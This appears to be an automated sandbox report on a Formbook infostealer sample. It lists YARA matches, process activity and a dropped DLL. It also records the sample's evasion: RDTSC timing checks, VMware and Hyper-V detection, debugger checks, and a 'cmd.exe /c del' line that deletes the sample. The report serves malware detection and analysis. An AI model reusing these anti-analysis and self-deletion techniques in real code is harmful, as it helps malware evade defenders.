Source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/3@15/10
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_00404201 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_00404201
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_004020A6 CoCreateInstance,MultiByteToWideChar, 0_2_004020A6
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:400:120:WilError_01
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe File created: C:\Users\user\AppData\Local\Temp\nsmDEE2.tmp Jump to behavior
Source: LWlcpDjYIQ.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: LWlcpDjYIQ.exe ReversingLabs: Detection: 65%
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe File read: C:\Users\user\Desktop\LWlcpDjYIQ.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\LWlcpDjYIQ.exe 'C:\Users\user\Desktop\LWlcpDjYIQ.exe'
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process created: C:\Users\user\Desktop\LWlcpDjYIQ.exe 'C:\Users\user\Desktop\LWlcpDjYIQ.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Source: C:\Windows\SysWOW64\cmstp.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\LWlcpDjYIQ.exe'
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process created: C:\Users\user\Desktop\LWlcpDjYIQ.exe 'C:\Users\user\Desktop\LWlcpDjYIQ.exe' Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\LWlcpDjYIQ.exe' Jump to behavior
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: Binary string: cmstp.pdbGCTL source: LWlcpDjYIQ.exe, 00000002.00000002.256547466.0000000000960000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: LWlcpDjYIQ.exe, 00000000.00000003.210847086.000000001ECE0000.00000004.00000001.sdmp, LWlcpDjYIQ.exe, 00000002.00000002.256684216.0000000000B1F000.00000040.00000001.sdmp, cmstp.exe, 00000007.00000002.476522146.0000000004650000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: LWlcpDjYIQ.exe, cmstp.exe
Source: Binary string: cmstp.pdb source: LWlcpDjYIQ.exe, 00000002.00000002.256547466.0000000000960000.00000040.00000001.sdmp

Data Obfuscation:

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Unpacked PE file: 2.2.LWlcpDjYIQ.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode, 0_2_00401FDC
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041535C push ebp; ret 2_2_0041535D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041B3F2 push eax; ret 2_2_0041B3F8
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041B3FB push eax; ret 2_2_0041B462
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041B3A5 push eax; ret 2_2_0041B3F8
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041B45C push eax; ret 2_2_0041B462
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00414EE8 push esi; ret 2_2_00414EE9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A7D0D1 push ecx; ret 2_2_00A7D0E4
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046CD0D1 push ecx; ret 7_2_046CD0E4
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285B3A5 push eax; ret 7_2_0285B3F8
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285B3F2 push eax; ret 7_2_0285B3F8
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285B3FB push eax; ret 7_2_0285B462
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285535C push ebp; ret 7_2_0285535D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02854EE8 push esi; ret 7_2_02854EE9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285B45C push eax; ret 7_2_0285B462

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe File created: C:\Users\user\AppData\Local\Temp\nsmDEE3.tmp\9a5t.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe RDTSC instruction interceptor: First address: 00000000028485E4 second address: 00000000028485EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe RDTSC instruction interceptor: First address: 000000000284896E second address: 0000000002848974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_004088A0 rdtsc 2_2_004088A0
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 4332 Thread sleep time: -65000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe TID: 5616 Thread sleep time: -52000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\cmstp.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmstp.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_0040531D DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA, 0_2_0040531D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_00405CB0 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose, 0_2_00405CB0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_004026BC FindFirstFileA, 0_2_004026BC
Source: explorer.exe, 00000005.00000000.235946157.000000000871F000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.235946157.000000000871F000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: explorer.exe, 00000005.00000000.235733242.0000000008640000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.235267416.0000000008220000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000005.00000000.229986245.00000000055D0000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: explorer.exe, 00000005.00000002.475804173.0000000001438000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.235946157.000000000871F000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000005.00000000.235946157.000000000871F000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000005.00000000.236039343.00000000087D1000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000005.00000002.488038344.0000000005603000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000005.00000000.235267416.0000000008220000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000005.00000000.235946157.000000000871F000.00000004.00000001.sdmp Binary or memory string: War&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.235267416.0000000008220000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000005.00000000.229143508.0000000004DF3000.00000004.00000001.sdmp Binary or memory string: en_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}qqqqqqqqqqqqqq
Source: explorer.exe, 00000005.00000000.235267416.0000000008220000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_004088A0 rdtsc 2_2_004088A0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00409B10 LdrLoadDll, 2_2_00409B10
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_737F1000 Hyvkfcorf,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile, 0_2_737F1000
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode, 0_2_00401FDC
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_0291160D mov eax, dword ptr fs:[00000030h] 0_2_0291160D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_02911825 mov eax, dword ptr fs:[00000030h] 0_2_02911825
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A520A0 mov eax, dword ptr fs:[00000030h] 2_2_00A520A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A520A0 mov eax, dword ptr fs:[00000030h] 2_2_00A520A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A520A0 mov eax, dword ptr fs:[00000030h] 2_2_00A520A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A520A0 mov eax, dword ptr fs:[00000030h] 2_2_00A520A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A520A0 mov eax, dword ptr fs:[00000030h] 2_2_00A520A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A520A0 mov eax, dword ptr fs:[00000030h] 2_2_00A520A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A690AF mov eax, dword ptr fs:[00000030h] 2_2_00A690AF
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5F0BF mov ecx, dword ptr fs:[00000030h] 2_2_00A5F0BF
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5F0BF mov eax, dword ptr fs:[00000030h] 2_2_00A5F0BF
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5F0BF mov eax, dword ptr fs:[00000030h] 2_2_00A5F0BF
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29080 mov eax, dword ptr fs:[00000030h] 2_2_00A29080
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA3884 mov eax, dword ptr fs:[00000030h] 2_2_00AA3884
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA3884 mov eax, dword ptr fs:[00000030h] 2_2_00AA3884
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A240E1 mov eax, dword ptr fs:[00000030h] 2_2_00A240E1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A240E1 mov eax, dword ptr fs:[00000030h] 2_2_00A240E1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A240E1 mov eax, dword ptr fs:[00000030h] 2_2_00A240E1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A258EC mov eax, dword ptr fs:[00000030h] 2_2_00A258EC
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABB8D0 mov eax, dword ptr fs:[00000030h] 2_2_00ABB8D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABB8D0 mov ecx, dword ptr fs:[00000030h] 2_2_00ABB8D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABB8D0 mov eax, dword ptr fs:[00000030h] 2_2_00ABB8D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABB8D0 mov eax, dword ptr fs:[00000030h] 2_2_00ABB8D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABB8D0 mov eax, dword ptr fs:[00000030h] 2_2_00ABB8D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABB8D0 mov eax, dword ptr fs:[00000030h] 2_2_00ABB8D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5002D mov eax, dword ptr fs:[00000030h] 2_2_00A5002D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5002D mov eax, dword ptr fs:[00000030h] 2_2_00A5002D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5002D mov eax, dword ptr fs:[00000030h] 2_2_00A5002D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5002D mov eax, dword ptr fs:[00000030h] 2_2_00A5002D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5002D mov eax, dword ptr fs:[00000030h] 2_2_00A5002D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3B02A mov eax, dword ptr fs:[00000030h] 2_2_00A3B02A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3B02A mov eax, dword ptr fs:[00000030h] 2_2_00A3B02A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3B02A mov eax, dword ptr fs:[00000030h] 2_2_00A3B02A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3B02A mov eax, dword ptr fs:[00000030h] 2_2_00A3B02A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF4015 mov eax, dword ptr fs:[00000030h] 2_2_00AF4015
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF4015 mov eax, dword ptr fs:[00000030h] 2_2_00AF4015
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA7016 mov eax, dword ptr fs:[00000030h] 2_2_00AA7016
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA7016 mov eax, dword ptr fs:[00000030h] 2_2_00AA7016
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA7016 mov eax, dword ptr fs:[00000030h] 2_2_00AA7016
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF1074 mov eax, dword ptr fs:[00000030h] 2_2_00AF1074
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE2073 mov eax, dword ptr fs:[00000030h] 2_2_00AE2073
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A40050 mov eax, dword ptr fs:[00000030h] 2_2_00A40050
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A40050 mov eax, dword ptr fs:[00000030h] 2_2_00A40050
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A561A0 mov eax, dword ptr fs:[00000030h] 2_2_00A561A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A561A0 mov eax, dword ptr fs:[00000030h] 2_2_00A561A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE49A4 mov eax, dword ptr fs:[00000030h] 2_2_00AE49A4
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE49A4 mov eax, dword ptr fs:[00000030h] 2_2_00AE49A4
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE49A4 mov eax, dword ptr fs:[00000030h] 2_2_00AE49A4
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE49A4 mov eax, dword ptr fs:[00000030h] 2_2_00AE49A4
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA69A6 mov eax, dword ptr fs:[00000030h] 2_2_00AA69A6
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA51BE mov eax, dword ptr fs:[00000030h] 2_2_00AA51BE
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA51BE mov eax, dword ptr fs:[00000030h] 2_2_00AA51BE
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA51BE mov eax, dword ptr fs:[00000030h] 2_2_00AA51BE
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA51BE mov eax, dword ptr fs:[00000030h] 2_2_00AA51BE
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5A185 mov eax, dword ptr fs:[00000030h] 2_2_00A5A185
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4C182 mov eax, dword ptr fs:[00000030h] 2_2_00A4C182
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52990 mov eax, dword ptr fs:[00000030h] 2_2_00A52990
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2B1E1 mov eax, dword ptr fs:[00000030h] 2_2_00A2B1E1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2B1E1 mov eax, dword ptr fs:[00000030h] 2_2_00A2B1E1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2B1E1 mov eax, dword ptr fs:[00000030h] 2_2_00A2B1E1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AB41E8 mov eax, dword ptr fs:[00000030h] 2_2_00AB41E8
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A44120 mov eax, dword ptr fs:[00000030h] 2_2_00A44120
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A44120 mov eax, dword ptr fs:[00000030h] 2_2_00A44120
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A44120 mov eax, dword ptr fs:[00000030h] 2_2_00A44120
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A44120 mov eax, dword ptr fs:[00000030h] 2_2_00A44120
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A44120 mov ecx, dword ptr fs:[00000030h] 2_2_00A44120
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5513A mov eax, dword ptr fs:[00000030h] 2_2_00A5513A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5513A mov eax, dword ptr fs:[00000030h] 2_2_00A5513A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29100 mov eax, dword ptr fs:[00000030h] 2_2_00A29100
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29100 mov eax, dword ptr fs:[00000030h] 2_2_00A29100
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29100 mov eax, dword ptr fs:[00000030h] 2_2_00A29100
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2C962 mov eax, dword ptr fs:[00000030h] 2_2_00A2C962
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2B171 mov eax, dword ptr fs:[00000030h] 2_2_00A2B171
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2B171 mov eax, dword ptr fs:[00000030h] 2_2_00A2B171
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4B944 mov eax, dword ptr fs:[00000030h] 2_2_00A4B944
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4B944 mov eax, dword ptr fs:[00000030h] 2_2_00A4B944
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A252A5 mov eax, dword ptr fs:[00000030h] 2_2_00A252A5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A252A5 mov eax, dword ptr fs:[00000030h] 2_2_00A252A5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A252A5 mov eax, dword ptr fs:[00000030h] 2_2_00A252A5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A252A5 mov eax, dword ptr fs:[00000030h] 2_2_00A252A5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A252A5 mov eax, dword ptr fs:[00000030h] 2_2_00A252A5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3AAB0 mov eax, dword ptr fs:[00000030h] 2_2_00A3AAB0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3AAB0 mov eax, dword ptr fs:[00000030h] 2_2_00A3AAB0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5FAB0 mov eax, dword ptr fs:[00000030h] 2_2_00A5FAB0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5D294 mov eax, dword ptr fs:[00000030h] 2_2_00A5D294
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5D294 mov eax, dword ptr fs:[00000030h] 2_2_00A5D294
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52AE4 mov eax, dword ptr fs:[00000030h] 2_2_00A52AE4
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52ACB mov eax, dword ptr fs:[00000030h] 2_2_00A52ACB
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A64A2C mov eax, dword ptr fs:[00000030h] 2_2_00A64A2C
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A64A2C mov eax, dword ptr fs:[00000030h] 2_2_00A64A2C
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A38A0A mov eax, dword ptr fs:[00000030h] 2_2_00A38A0A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A25210 mov eax, dword ptr fs:[00000030h] 2_2_00A25210
